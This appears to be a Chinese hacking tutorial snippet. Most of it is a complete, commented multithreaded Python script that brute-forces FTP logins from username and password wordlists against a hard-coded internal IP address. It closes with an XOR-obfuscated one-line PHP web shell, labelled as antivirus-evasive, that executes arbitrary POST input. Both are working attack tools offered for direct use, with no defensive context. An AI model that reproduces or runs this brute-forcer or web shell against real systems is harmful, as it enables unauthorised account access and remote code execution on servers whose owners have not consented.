Python 开发-多线程爆破

Python 开发-利用 FTP 模块实现协议爆破脚本

1.ftplib 模块使用
2.遍历用户及密码字典
3.尝试连接执行命令判断

代码：

#导入ftplib库用于连接ftp
import ftplib
#导入threading库用于多线程
import threading
#导入queue库，用来传递参数
import queue
#导入sys库用于cmd窗口时输入参数
import sys

#利用Python开发其他协议爆破脚本
def ftp_check():
    #如果queue对象中有参数就循环执行
    while not q.empty():
        #获取queue传递的参数赋值给变量保存
        dict=q.get()
        #将字符串分割，提取出用户名和密码赋值给变量-
        dict=dict.split('|')
        username=dict[0]
        password=dict[1]
        #实例化一个ftp对象
        ftp=ftplib.FTP()
        try:
            #尝试连接ftp
            ftp.connect('192.168.2.137', 21)
            #登陆
            ftp.login(username,password)
            #打印列表信息
            print(ftp.retrlines('list'))
            #关闭ftp
            ftp.close()
            print('success|'+username+'|'+password)
        #当连接失败时，进入except方法
        except ftplib.all_errors:
            print('failed|'+username+'|'+password)
            #关闭ftp
            ftp.close()
            pass

if __name__ == '__main__':
    print("python ftp_burte.py user.txt pass.txt 10")
    #设置cmd窗口处输入参数
    user_file=sys.argv[1]
    pass_file = sys.argv[2]
    thread_x=sys.argv[3]
    #实例化一个queue对象
    q=queue.Queue()
    #循环从字典文件中取出用户名及密码
    for username in open(user_file):
        for password in open(pass_file):
            username = username.strip('\n')
            password = password.strip('\n')
            diclist=username+'|'+password
            #通过queue对象传递参数，将用户名密码组合的字符串传递
            q.put(diclist)
    #通过循环来创建多个子进程
    for x in range(int(thread_x)):
        #创建子进程
        t=threading.Thread(target=ftp_check)
        #执行子进程
        t.start()

异或一句话免杀php

<?php $a= ("!"^"@").'ssert';$a($_POST[x]);?>